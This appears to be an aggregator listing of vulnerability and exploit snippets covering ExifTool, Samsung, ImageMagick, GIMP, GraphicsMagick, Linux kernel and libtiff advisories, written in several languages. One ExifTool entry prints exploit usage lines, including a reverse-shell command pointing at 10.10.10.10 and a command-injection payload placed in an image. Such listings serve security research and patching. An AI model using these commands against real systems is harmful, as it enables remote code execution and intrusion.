exploit-CVE-2021-22204

Exploit para CVE-2021-22204 ExifTool - Ejecución Arbitraria de Código ¿Te gusta este repositorio? ¡Dale una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del Exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la Vulnerabilidad La neutralización incorrecta ...

CVE-2021-22204

CVE-2021-22204 CVE 요약 ExifTool 7.44 이상 버전의 DjVu 파일 형식에서 사용자 데이터에 대한 부적절한 위생 처리는 악성 이미지를 분석할 때 임의 코드 실행을 허용합니다. 영향받는 버전 버전 7.44 - 12.23 특이 사항 의존성: djvulibre-bin exiftool 다음 세 명령을 호출합니다: bzz, dvjumake, exiftool 참고 자료 Github POC - Gustavo Dutra, May 11 2021 사례 연구: CVE-2021-22204 Exiftool RCE - Gusta...

Samsung-CVE-2025-21042

🔐 CVE-2025-21042 — Samsung イメージコーデック リモートコード実行 ⚙️ 概要 Samsung の画像処理ライブラリ libimagecodec.quram.so （Galaxy Android デバイスで使用）における重大な 脆弱性です。 🧩 悪意のある画像ファイル （DNG など）を解析する際にトリガーされる領域外書き込み out-of-bounds write の欠陥です。 📸 巧妙に細工された画像により、攻撃者はデバイス上で任意のコードをリモート実行 できます。 「SMR Apr-2025 Release 1 より前の...

adiskreader-secretsdump

🚩 スポンサー このプロジェクトが気に入ったら、ブラウザで動作するフルペンテストスイートである OctoPwn のライセンス購入をご検討ください。 新しいビルド/リリースやその他の情報の通知を受け取るには、私たちの Discord に参加してください。 adiskreader-secretsdump ローカルまたはリモートのディスクイメージからレジストリとNTDSのシークレットを抽出します 🚩 ブラウザで動作します このプロジェクトは、他の多くのペンテスターツールと同様に、OctoPwnの力でブラウザ上で動作します。 コミュニティ版は OctoPwn - Live でチェックしてください...

CVE-2021-22204

CVE-2021-22204 설명 ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다. 스크립트 스크립트 링크 스크립트 사용법: 시스템 명령: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg 리버스 셸: root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 자신의 IP와 포트 수동 익스플로잇...

CVE-2022-44268-automated-poc

CVE-2022-44268 ImageMagick Lettura Arbitraria di File poc Completamente Automatizzato ⚙ Una vulnerabilità di divulgazione di informazioni che potrebbe essere sfruttata per leggere file arbitrari da un server durante l'analisi di un'immagine. Versione di ImageMagick interessata root@kitploit:...

CVE-2026-78465

An integer overflow in the file-pcx plugin of GIMP affects 32-bit builds only . When a crafted PCX image file sets the number of color planes to 4 alongside sufficiently large dimensions, the memory allocation size calculation exceeds the 32-bit integer limit, producing an undersized heap buffer ...

Astra Linux – Vulnerability in openimageio

A read vulnerability exists in the handling of IPTC data when parsing TIFF images in OpenImageIO v2.3.19.0. A specially crafted TIFF file can cause a read of adjacent heap memory, potentially exposing sensitive process information. An attacker can provide a malicious file to exploit this...

CVE-2026-18303

GIMP TIF File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page ...

CVE-2026-77118

A heap out-of-bounds write exists in the Photo CD PCD decoder of GraphicsMagick. In DecodeImage coders/pcd.c, the Huffman delta loop advances its output pointer with q++ after every decoded delta and never checks it against the end of the heap-allocated luma/chroma plane buffers. The pointer is...

MINI-CV28-GHF4-WGHC

Bulletin has no description...

DEBIAN-CVE-2026-74552

In the Linux kernel, the following vulnerability has been resolved: hwmon: lm90 Only report alarms if driver is ready Userspace can read sysfs attributes before driver registration is complete, immediately after devmhwmondeviceregisterwithinfo has been called. At that time, data-hwmondev is not y...

DEBIAN-CVE-2026-74407

In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: cancel SSR work items during PCI shutdown A reboot can crash the kernel if it overlaps with WLAN firmware crash recovery SSR. The crash is a NULL pointer dereference in the MHI teardown path while freeing DMA-backed...

DEBIAN-CVE-2026-74314

In the Linux kernel, the following vulnerability has been resolved: bpf: Cancel special fields on map value recycle Map update and delete paths currently call bpfobjfreefields when a value is being replaced or recycled. That makes field destruction depend on the context of the update/delete...

DEBIAN-CVE-2026-72491

In the Linux kernel, the following vulnerability has been resolved: net/9p: fix race condition on rdma-state in transrdma.c The rdma-state field is modified without holding reqlock in both recvdone and p9cmeventhandler, while rdmarequest accesses the same field under the reqlock spinlock. This...

DEBIAN-CVE-2026-72405

In the Linux kernel, the following vulnerability has been resolved: net: udptunnel: prevent double queueing in udptunnelnicdevicesync Yue Sun reported a use-after-free and debugobjects warning in udptunnelnicdevicesyncwork during concurrent device operations. The workqueue core clears the interna...

DEBIAN-CVE-2026-72266

In the Linux kernel, the following vulnerability has been resolved: fbdev: vesafb: fix memory leak in vesafbprobe Since commit 73ce73c30ba9 "fbdev: Transfer video= option strings to caller; clarify ownership" the string returned from fbgetoptions is expected to be freed by the caller. But the...

FreeBSD : OpenEXR -- 3.4.14 fixes multiple vulnerabilities (56449320-97c5-11f1-84d7-3c7c3fba4204)

The version of FreeBSD installed on the remote host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the 56449320-97c5-11f1-84d7-3c7c3fba4204 advisory. Cary Phillips reports: The OpenEXR 3.4.14 release addresses the following security...

Important: Red Hat Security Advisory: compat-libtiff3 security update

An update for compat-libtiff3 is now available for Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions and Red Hat Enterprise Linux 8.8 Telecommunications Update Service. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability...

Important: Red Hat Security Advisory: compat-libtiff3 security update

An update for compat-libtiff3 is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Important. A Common...